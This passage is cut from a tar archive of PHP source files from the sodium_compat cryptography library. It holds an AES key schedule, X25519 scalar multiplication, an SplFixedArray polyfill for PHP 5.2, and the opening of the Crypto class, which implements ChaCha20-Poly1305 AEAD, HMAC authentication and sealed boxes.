}
Core/AES/KeySchedule.php000064400000003531151024233030010755 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_AES_KeySchedule', false)) {
    return;
}

/**
 * @internal This should only be used by sodium_compat
 */
class ParagonIE_Sodium_Core_AES_KeySchedule
{
    /** @var array<int, int> $skey -- has size 120 */
    protected $skey;

    /** @var bool $expanded */
    protected $expanded = false;

    /** @var int $numRounds */
    private $numRounds;

    /**
     * @param array $skey
     * @param int $numRounds
     */
    public function __construct(array $skey, $numRounds = 10)
    {
        $this->skey = $skey;
        $this->numRounds = $numRounds;
    }

    /**
     * Get a value at an arbitrary index. Mostly used for unit testing.
     *
     * @param int $i
     * @return int
     */
    public function get($i)
    {
        return $this->skey[$i];
    }

    /**
     * @return int
     */
    public function getNumRounds()
    {
        return $this->numRounds;
    }

    /**
     * @param int $offset
     * @return ParagonIE_Sodium_Core_AES_Block
     */
    public function getRoundKey($offset)
    {
        return ParagonIE_Sodium_Core_AES_Block::fromArray(
            array_slice($this->skey, $offset, 8)
        );
    }

    /**
     * Return an expanded key schedule
     *
     * @return ParagonIE_Sodium_Core_AES_Expanded
     */
    public function expand()
    {
        $exp = new ParagonIE_Sodium_Core_AES_Expanded(
            array_fill(0, 120, 0),
            $this->numRounds
        );
        $n = ($exp->numRounds + 1) << 2;
        for ($u = 0, $v = 0; $u < $n; ++$u, $v += 2) {
            $x = $y = $this->skey[$u];
            $x &= 0x55555555;
            $exp->skey[$v] = ($x | ($x << 1)) & ParagonIE_Sodium_Core_Util::U32_MAX;
            $y &= 0xAAAAAAAA;
            $exp->skey[$v + 1] = ($y | ($y >> 1)) & ParagonIE_Sodium_Core_Util::U32_MAX;
        }
        return $exp;
    }
}
Core/X25519.php000064400000022352151024233030006757 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Core_X25519', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Core_X25519
 */
abstract class ParagonIE_Sodium_Core_X25519 extends ParagonIE_Sodium_Core_Curve25519
{
    /**
     * Alters the objects passed to this method in place.
     *
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $g
     * @param int $b
     * @return void
     * @psalm-suppress MixedAssignment
     */
    public static function fe_cswap(
        ParagonIE_Sodium_Core_Curve25519_Fe $f,
        ParagonIE_Sodium_Core_Curve25519_Fe $g,
        $b = 0
    ) {
        $f0 = (int) $f[0];
        $f1 = (int) $f[1];
        $f2 = (int) $f[2];
        $f3 = (int) $f[3];
        $f4 = (int) $f[4];
        $f5 = (int) $f[5];
        $f6 = (int) $f[6];
        $f7 = (int) $f[7];
        $f8 = (int) $f[8];
        $f9 = (int) $f[9];
        $g0 = (int) $g[0];
        $g1 = (int) $g[1];
        $g2 = (int) $g[2];
        $g3 = (int) $g[3];
        $g4 = (int) $g[4];
        $g5 = (int) $g[5];
        $g6 = (int) $g[6];
        $g7 = (int) $g[7];
        $g8 = (int) $g[8];
        $g9 = (int) $g[9];
        $b = -$b;
        $x0 = ($f0 ^ $g0) & $b;
        $x1 = ($f1 ^ $g1) & $b;
        $x2 = ($f2 ^ $g2) & $b;
        $x3 = ($f3 ^ $g3) & $b;
        $x4 = ($f4 ^ $g4) & $b;
        $x5 = ($f5 ^ $g5) & $b;
        $x6 = ($f6 ^ $g6) & $b;
        $x7 = ($f7 ^ $g7) & $b;
        $x8 = ($f8 ^ $g8) & $b;
        $x9 = ($f9 ^ $g9) & $b;
        $f[0] = $f0 ^ $x0;
        $f[1] = $f1 ^ $x1;
        $f[2] = $f2 ^ $x2;
        $f[3] = $f3 ^ $x3;
        $f[4] = $f4 ^ $x4;
        $f[5] = $f5 ^ $x5;
        $f[6] = $f6 ^ $x6;
        $f[7] = $f7 ^ $x7;
        $f[8] = $f8 ^ $x8;
        $f[9] = $f9 ^ $x9;
        $g[0] = $g0 ^ $x0;
        $g[1] = $g1 ^ $x1;
        $g[2] = $g2 ^ $x2;
        $g[3] = $g3 ^ $x3;
        $g[4] = $g4 ^ $x4;
        $g[5] = $g5 ^ $x5;
        $g[6] = $g6 ^ $x6;
        $g[7] = $g7 ^ $x7;
        $g[8] = $g8 ^ $x8;
        $g[9] = $g9 ^ $x9;
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $f
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function fe_mul121666(ParagonIE_Sodium_Core_Curve25519_Fe $f)
    {
        $h = array(
            self::mul((int) $f[0], 121666, 17),
            self::mul((int) $f[1], 121666, 17),
            self::mul((int) $f[2], 121666, 17),
            self::mul((int) $f[3], 121666, 17),
            self::mul((int) $f[4], 121666, 17),
            self::mul((int) $f[5], 121666, 17),
            self::mul((int) $f[6], 121666, 17),
            self::mul((int) $f[7], 121666, 17),
            self::mul((int) $f[8], 121666, 17),
            self::mul((int) $f[9], 121666, 17)
        );

        /** @var int $carry9 */
        $carry9 = ($h[9] + (1 << 24)) >> 25;
        $h[0] += self::mul($carry9, 19, 5);
        $h[9] -= $carry9 << 25;
        /** @var int $carry1 */
        $carry1 = ($h[1] + (1 << 24)) >> 25;
        $h[2] += $carry1;
        $h[1] -= $carry1 << 25;
        /** @var int $carry3 */
        $carry3 = ($h[3] + (1 << 24)) >> 25;
        $h[4] += $carry3;
        $h[3] -= $carry3 << 25;
        /** @var int $carry5 */
        $carry5 = ($h[5] + (1 << 24)) >> 25;
        $h[6] += $carry5;
        $h[5] -= $carry5 << 25;
        /** @var int $carry7 */
        $carry7 = ($h[7] + (1 << 24)) >> 25;
        $h[8] += $carry7;
        $h[7] -= $carry7 << 25;

        /** @var int $carry0 */
        $carry0 = ($h[0] + (1 << 25)) >> 26;
        $h[1] += $carry0;
        $h[0] -= $carry0 << 26;
        /** @var int $carry2 */
        $carry2 = ($h[2] + (1 << 25)) >> 26;
        $h[3] += $carry2;
        $h[2] -= $carry2 << 26;
        /** @var int $carry4 */
        $carry4 = ($h[4] + (1 << 25)) >> 26;
        $h[5] += $carry4;
        $h[4] -= $carry4 << 26;
        /** @var int $carry6 */
        $carry6 = ($h[6] + (1 << 25)) >> 26;
        $h[7] += $carry6;
        $h[6] -= $carry6 << 26;
        /** @var int $carry8 */
        $carry8 = ($h[8] + (1 << 25)) >> 26;
        $h[9] += $carry8;
        $h[8] -= $carry8 << 26;

        foreach ($h as $i => $value) {
            $h[$i] = (int) $value;
        }
        return ParagonIE_Sodium_Core_Curve25519_Fe::fromArray($h);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * Inline comments preceded by # are from libsodium's ref10 code.
     *
     * @param string $n
     * @param string $p
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10($n, $p)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;
        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );
        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );
        # fe_frombytes(x1,p);
        $x1 = self::fe_frombytes($p);
        # fe_1(x2);
        $x2 = self::fe_1();
        # fe_0(z2);
        $z2 = self::fe_0();
        # fe_copy(x3,x1);
        $x3 = self::fe_copy($x1);
        # fe_1(z3);
        $z3 = self::fe_1();

        # swap = 0;
        /** @var int $swap */
        $swap = 0;

        # for (pos = 254;pos >= 0;--pos) {
        for ($pos = 254; $pos >= 0; --$pos) {
            # b = e[pos / 8] >> (pos & 7);
            /** @var int $b */
            $b = self::chrToInt(
                    $e[(int) floor($pos / 8)]
                ) >> ($pos & 7);
            # b &= 1;
            $b &= 1;
            # swap ^= b;
            $swap ^= $b;
            # fe_cswap(x2,x3,swap);
            self::fe_cswap($x2, $x3, $swap);
            # fe_cswap(z2,z3,swap);
            self::fe_cswap($z2, $z3, $swap);
            # swap = b;
            $swap = $b;
            # fe_sub(tmp0,x3,z3);
            $tmp0 = self::fe_sub($x3, $z3);
            # fe_sub(tmp1,x2,z2);
            $tmp1 = self::fe_sub($x2, $z2);

            # fe_add(x2,x2,z2);
            $x2 = self::fe_add($x2, $z2);

            # fe_add(z2,x3,z3);
            $z2 = self::fe_add($x3, $z3);

            # fe_mul(z3,tmp0,x2);
            $z3 = self::fe_mul($tmp0, $x2);

            # fe_mul(z2,z2,tmp1);
            $z2 = self::fe_mul($z2, $tmp1);

            # fe_sq(tmp0,tmp1);
            $tmp0 = self::fe_sq($tmp1);

            # fe_sq(tmp1,x2);
            $tmp1 = self::fe_sq($x2);

            # fe_add(x3,z3,z2);
            $x3 = self::fe_add($z3, $z2);

            # fe_sub(z2,z3,z2);
            $z2 = self::fe_sub($z3, $z2);

            # fe_mul(x2,tmp1,tmp0);
            $x2 = self::fe_mul($tmp1, $tmp0);

            # fe_sub(tmp1,tmp1,tmp0);
            $tmp1 = self::fe_sub($tmp1, $tmp0);

            # fe_sq(z2,z2);
            $z2 = self::fe_sq($z2);

            # fe_mul121666(z3,tmp1);
            $z3 = self::fe_mul121666($tmp1);

            # fe_sq(x3,x3);
            $x3 = self::fe_sq($x3);

            # fe_add(tmp0,tmp0,z3);
            $tmp0 = self::fe_add($tmp0, $z3);

            # fe_mul(z3,x1,z2);
            $z3 = self::fe_mul($x1, $z2);

            # fe_mul(z2,tmp1,tmp0);
            $z2 = self::fe_mul($tmp1, $tmp0);
        }

        # fe_cswap(x2,x3,swap);
        self::fe_cswap($x2, $x3, $swap);

        # fe_cswap(z2,z3,swap);
        self::fe_cswap($z2, $z3, $swap);

        # fe_invert(z2,z2);
        $z2 = self::fe_invert($z2);

        # fe_mul(x2,x2,z2);
        $x2 = self::fe_mul($x2, $z2);
        # fe_tobytes(q,x2);
        return self::fe_tobytes($x2);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY
     * @param ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ
     * @return ParagonIE_Sodium_Core_Curve25519_Fe
     */
    public static function edwards_to_montgomery(
        ParagonIE_Sodium_Core_Curve25519_Fe $edwardsY,
        ParagonIE_Sodium_Core_Curve25519_Fe $edwardsZ
    ) {
        $tempX = self::fe_add($edwardsZ, $edwardsY);
        $tempZ = self::fe_sub($edwardsZ, $edwardsY);
        $tempZ = self::fe_invert($tempZ);
        return self::fe_mul($tempX, $tempZ);
    }

    /**
     * @internal You should not use this directly from another application
     *
     * @param string $n
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function crypto_scalarmult_curve25519_ref10_base($n)
    {
        # for (i = 0;i < 32;++i) e[i] = n[i];
        $e = '' . $n;

        # e[0] &= 248;
        $e[0] = self::intToChr(
            self::chrToInt($e[0]) & 248
        );

        # e[31] &= 127;
        # e[31] |= 64;
        $e[31] = self::intToChr(
            (self::chrToInt($e[31]) & 127) | 64
        );

        $A = self::ge_scalarmult_base($e);
        if (
            !($A->Y instanceof ParagonIE_Sodium_Core_Curve25519_Fe)
                ||
            !($A->Z instanceof ParagonIE_Sodium_Core_Curve25519_Fe)
        ) {
            throw new TypeError('Null points encountered');
        }
        $pk = self::edwards_to_montgomery($A->Y, $A->Z);
        return self::fe_tobytes($pk);
    }
}
PHP52/SplFixedArray.php000064400000010024151024233030010556 0ustar00<?php

if (class_exists('SplFixedArray')) {
    return;
}

/**
 * The SplFixedArray class provides the main functionalities of array. The
 * main differences between a SplFixedArray and a normal PHP array is that
 * the SplFixedArray is of fixed length and allows only integers within
 * the range as indexes. The advantage is that it allows a faster array
 * implementation.
 */
class SplFixedArray implements Iterator, ArrayAccess, Countable
{
    /** @var array<int, mixed> */
    private $internalArray = array();

    /** @var int $size */
    private $size = 0;

    /**
     * SplFixedArray constructor.
     * @param int $size
     */
    public function __construct($size = 0)
    {
        $this->size = $size;
        $this->internalArray = array();
    }

    /**
     * @return int
     */
    public function count()
    {
        return count($this->internalArray);
    }

    /**
     * @return array
     */
    public function toArray()
    {
        ksort($this->internalArray);
        return (array) $this->internalArray;
    }

    /**
     * @param array $array
     * @param bool $save_indexes
     * @return SplFixedArray
     * @psalm-suppress MixedAssignment
     */
    public static function fromArray(array $array, $save_indexes = true)
    {
        $self = new SplFixedArray(count($array));
        if($save_indexes) {
            foreach($array as $key => $value) {
                $self[(int) $key] = $value;
            }
        } else {
            $i = 0;
            foreach (array_values($array) as $value) {
                $self[$i] = $value;
                $i++;
            }
        }
        return $self;
    }

    /**
     * @return int
     */
    public function getSize()
    {
        return $this->size;
    }

    /**
     * @param int $size
     * @return bool
     */
    public function setSize($size)
    {
        $this->size = $size;
        return true;
    }

    /**
     * @param string|int $index
     * @return bool
     */
    public function offsetExists($index)
    {
        return array_key_exists((int) $index, $this->internalArray);
    }

    /**
     * @param string|int $index
     * @return mixed
     */
    public function offsetGet($index)
    {
        /** @psalm-suppress MixedReturnStatement */
        return $this->internalArray[(int) $index];
    }

    /**
     * @param string|int $index
     * @param mixed $newval
     * @psalm-suppress MixedAssignment
     */
    public function offsetSet($index, $newval)
    {
        $this->internalArray[(int) $index] = $newval;
    }

    /**
     * @param string|int $index
     */
    public function offsetUnset($index)
    {
        unset($this->internalArray[(int) $index]);
    }

    /**
     * Rewind iterator back to the start
     * @link https://php.net/manual/en/splfixedarray.rewind.php
     * @return void
     * @since 5.3.0
     */
    public function rewind()
    {
        reset($this->internalArray);
    }

    /**
     * Return current array entry
     * @link https://php.net/manual/en/splfixedarray.current.php
     * @return mixed The current element value.
     * @since 5.3.0
     */
    public function current()
    {
        /** @psalm-suppress MixedReturnStatement */
        return current($this->internalArray);
    }

    /**
     * Return current array index
     * @return int The current array index.
     */
    public function key()
    {
        return key($this->internalArray);
    }

    /**
     * @return void
     */
    public function next()
    {
        next($this->internalArray);
    }

    /**
     * Check whether the array contains more elements
     * @link https://php.net/manual/en/splfixedarray.valid.php
     * @return bool true if the array contains any more elements, false otherwise.
     */
    public function valid()
    {
        if (empty($this->internalArray)) {
            return false;
        }
        $result = next($this->internalArray) !== false;
        prev($this->internalArray);
        return $result;
    }

    /**
     * Do nothing.
     */
    public function __wakeup()
    {
        // NOP
    }
}Crypto.php000064400000153032151024233030006532 0ustar00<?php

if (class_exists('ParagonIE_Sodium_Crypto', false)) {
    return;
}

/**
 * Class ParagonIE_Sodium_Crypto
 *
 * ATTENTION!
 *
 * If you are using this library, you should be using
 * ParagonIE_Sodium_Compat in your code, not this class.
 */
abstract class ParagonIE_Sodium_Crypto
{
    const aead_chacha20poly1305_KEYBYTES = 32;
    const aead_chacha20poly1305_NSECBYTES = 0;
    const aead_chacha20poly1305_NPUBBYTES = 8;
    const aead_chacha20poly1305_ABYTES = 16;

    const aead_chacha20poly1305_IETF_KEYBYTES = 32;
    const aead_chacha20poly1305_IETF_NSECBYTES = 0;
    const aead_chacha20poly1305_IETF_NPUBBYTES = 12;
    const aead_chacha20poly1305_IETF_ABYTES = 16;

    const aead_xchacha20poly1305_IETF_KEYBYTES = 32;
    const aead_xchacha20poly1305_IETF_NSECBYTES = 0;
    const aead_xchacha20poly1305_IETF_NPUBBYTES = 24;
    const aead_xchacha20poly1305_IETF_ABYTES = 16;

    const box_curve25519xsalsa20poly1305_SEEDBYTES = 32;
    const box_curve25519xsalsa20poly1305_PUBLICKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_SECRETKEYBYTES = 32;
    const box_curve25519xsalsa20poly1305_BEFORENMBYTES = 32;
    const box_curve25519xsalsa20poly1305_NONCEBYTES = 24;
    const box_curve25519xsalsa20poly1305_MACBYTES = 16;
    const box_curve25519xsalsa20poly1305_BOXZEROBYTES = 16;
    const box_curve25519xsalsa20poly1305_ZEROBYTES = 32;

    const onetimeauth_poly1305_BYTES = 16;
    const onetimeauth_poly1305_KEYBYTES = 32;

    const secretbox_xsalsa20poly1305_KEYBYTES = 32;
    const secretbox_xsalsa20poly1305_NONCEBYTES = 24;
    const secretbox_xsalsa20poly1305_MACBYTES = 16;
    const secretbox_xsalsa20poly1305_BOXZEROBYTES = 16;
    const secretbox_xsalsa20poly1305_ZEROBYTES = 32;

    const secretbox_xchacha20poly1305_KEYBYTES = 32;
    const secretbox_xchacha20poly1305_NONCEBYTES = 24;
    const secretbox_xchacha20poly1305_MACBYTES = 16;
    const secretbox_xchacha20poly1305_BOXZEROBYTES = 16;
    const secretbox_xchacha20poly1305_ZEROBYTES = 32;

    const stream_salsa20_KEYBYTES = 32;

    /**
     * AEAD Decryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_ABYTES;

        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $message,
            $clen,
            self::aead_chacha20poly1305_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 0, $clen);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            32,
            $nonce,
            $key
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::stream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core_ChaCha20::streamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update($ciphertext);
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $adlen - Length of associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var int $len - Length of message (ciphertext + MAC) */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int  $clen - Length of ciphertext */
        $clen = $len - self::aead_chacha20poly1305_IETF_ABYTES;

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );

        /** @var string $mac - Message authentication code */
        $mac = ParagonIE_Sodium_Core_Util::substr(
            $message,
            $len - self::aead_chacha20poly1305_IETF_ABYTES,
            self::aead_chacha20poly1305_IETF_ABYTES
        );

        /** @var string $ciphertext - The encrypted message (sans MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr(
            $message,
            0,
            $len - self::aead_chacha20poly1305_IETF_ABYTES
        );

        /* Recalculate the Poly1305 authentication tag (MAC): */
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }
        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", (0x10 - $clen) & 0xf));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($clen));
        $computed_mac = $state->finish();

        /* Compare the given MAC with the recalculated MAC: */
        if (!ParagonIE_Sodium_Core_Util::verify_16($computed_mac, $mac)) {
            throw new SodiumException('Invalid MAC');
        }

        // Here, we know that the MAC is valid, so we decrypt and return the plaintext
        return ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $ciphertext,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_chacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        /** @var int $len - Length of the plaintext message */
        $len = ParagonIE_Sodium_Core_Util::strlen($message);

        /** @var int $adlen - Length of the associated data */
        $adlen = ParagonIE_Sodium_Core_Util::strlen($ad);

        /** @var string The first block of the chacha20 keystream, used as a poly1305 key */
        $block0 = ParagonIE_Sodium_Core_ChaCha20::ietfStream(
            32,
            $nonce,
            $key
        );
        $state = new ParagonIE_Sodium_Core_Poly1305_State($block0);
        try {
            ParagonIE_Sodium_Compat::memzero($block0);
        } catch (SodiumException $ex) {
            $block0 = null;
        }

        /** @var string $ciphertext - Raw encrypted data */
        $ciphertext = ParagonIE_Sodium_Core_ChaCha20::ietfStreamXorIc(
            $message,
            $nonce,
            $key,
            ParagonIE_Sodium_Core_Util::store64_le(1)
        );

        $state->update($ad);
        $state->update(str_repeat("\x00", ((0x10 - $adlen) & 0xf)));
        $state->update($ciphertext);
        $state->update(str_repeat("\x00", ((0x10 - $len) & 0xf)));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($adlen));
        $state->update(ParagonIE_Sodium_Core_Util::store64_le($len));
        return $ciphertext . $state->finish();
    }

    /**
     * AEAD Decryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_decrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_decrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * AEAD Encryption with ChaCha20-Poly1305, IETF mode (96-bit nonce)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $ad
     * @param string $nonce
     * @param string $key
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function aead_xchacha20poly1305_ietf_encrypt(
        $message = '',
        $ad = '',
        $nonce = '',
        $key = ''
    ) {
        $subkey = ParagonIE_Sodium_Core_HChaCha20::hChaCha20(
            ParagonIE_Sodium_Core_Util::substr($nonce, 0, 16),
            $key
        );
        $nonceLast = "\x00\x00\x00\x00" .
            ParagonIE_Sodium_Core_Util::substr($nonce, 16, 8);

        return self::aead_chacha20poly1305_ietf_encrypt($message, $ad, $nonceLast, $subkey);
    }

    /**
     * HMAC-SHA-512-256 (a.k.a. the leftmost 256 bits of HMAC-SHA-512)
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $key
     * @return string
     * @throws TypeError
     */
    public static function auth($message, $key)
    {
        return ParagonIE_Sodium_Core_Util::substr(
            hash_hmac('sha512', $message, $key, true),
            0,
            32
        );
    }

    /**
     * HMAC-SHA-512-256 validation. Constant-time via hash_equals().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $mac
     * @param string $message
     * @param string $key
     * @return bool
     * @throws SodiumException
     * @throws TypeError
     */
    public static function auth_verify($mac, $message, $key)
    {
        return ParagonIE_Sodium_Core_Util::hashEquals(
            $mac,
            self::auth($message, $key)
        );
    }

    /**
     * X25519 key exchange followed by XSalsa20Poly1305 symmetric encryption
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $plaintext
     * @param string $nonce
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box($plaintext, $nonce, $keypair)
    {
        $c = self::secretbox(
            $plaintext,
            $nonce,
            self::box_beforenm(
                self::box_secretkey($keypair),
                self::box_publickey($keypair)
            )
        );
        return $c;
    }

    /**
     * X25519-XSalsa20-Poly1305 with one ephemeral X25519 keypair.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $publicKey
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal($message, $publicKey)
    {
        /** @var string $ephemeralKeypair */
        $ephemeralKeypair = self::box_keypair();

        /** @var string $ephemeralSK */
        $ephemeralSK = self::box_secretkey($ephemeralKeypair);

        /** @var string $ephemeralPK */
        $ephemeralPK = self::box_publickey($ephemeralKeypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair - The combined keypair used in crypto_box() */
        $keypair = self::box_keypair_from_secretkey_and_publickey($ephemeralSK, $publicKey);

        /** @var string $ciphertext Ciphertext + MAC from crypto_box */
        $ciphertext = self::box($message, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($ephemeralKeypair);
            ParagonIE_Sodium_Compat::memzero($ephemeralSK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $ephemeralKeypair = null;
            $ephemeralSK = null;
            $nonce = null;
        }
        return $ephemeralPK . $ciphertext;
    }

    /**
     * Opens a message encrypted via box_seal().
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $message
     * @param string $keypair
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seal_open($message, $keypair)
    {
        /** @var string $ephemeralPK */
        $ephemeralPK = ParagonIE_Sodium_Core_Util::substr($message, 0, 32);

        /** @var string $ciphertext (ciphertext + MAC) */
        $ciphertext = ParagonIE_Sodium_Core_Util::substr($message, 32);

        /** @var string $secretKey */
        $secretKey = self::box_secretkey($keypair);

        /** @var string $publicKey */
        $publicKey = self::box_publickey($keypair);

        /** @var string $nonce */
        $nonce = self::generichash(
            $ephemeralPK . $publicKey,
            '',
            24
        );

        /** @var string $keypair */
        $keypair = self::box_keypair_from_secretkey_and_publickey($secretKey, $ephemeralPK);

        /** @var string $m */
        $m = self::box_open($ciphertext, $nonce, $keypair);
        try {
            ParagonIE_Sodium_Compat::memzero($secretKey);
            ParagonIE_Sodium_Compat::memzero($ephemeralPK);
            ParagonIE_Sodium_Compat::memzero($nonce);
        } catch (SodiumException $ex) {
            $secretKey = null;
            $ephemeralPK = null;
            $nonce = null;
        }
        return $m;
    }

    /**
     * Used by crypto_box() to get the crypto_secretbox() key.
     *
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @param string $sk
     * @param string $pk
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_beforenm($sk, $pk)
    {
        return ParagonIE_Sodium_Core_HSalsa20::hsalsa20(
            str_repeat("\x00", 16),
            self::scalarmult($sk, $pk)
        );
    }

    /**
     * @internal Do not use this directly. Use ParagonIE_Sodium_Compat.
     *
     * @return string
     * @throws Exception
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_keypair()
    {
        $sKey = random_bytes(32);
        $pKey = self::scalarmult_base($sKey);
        return $sKey . $pKey;
    }

    /**
     * @param string $seed
     * @return string
     * @throws SodiumException
     * @throws TypeError
     */
    public static function box_seed_keypair($seed)
    {
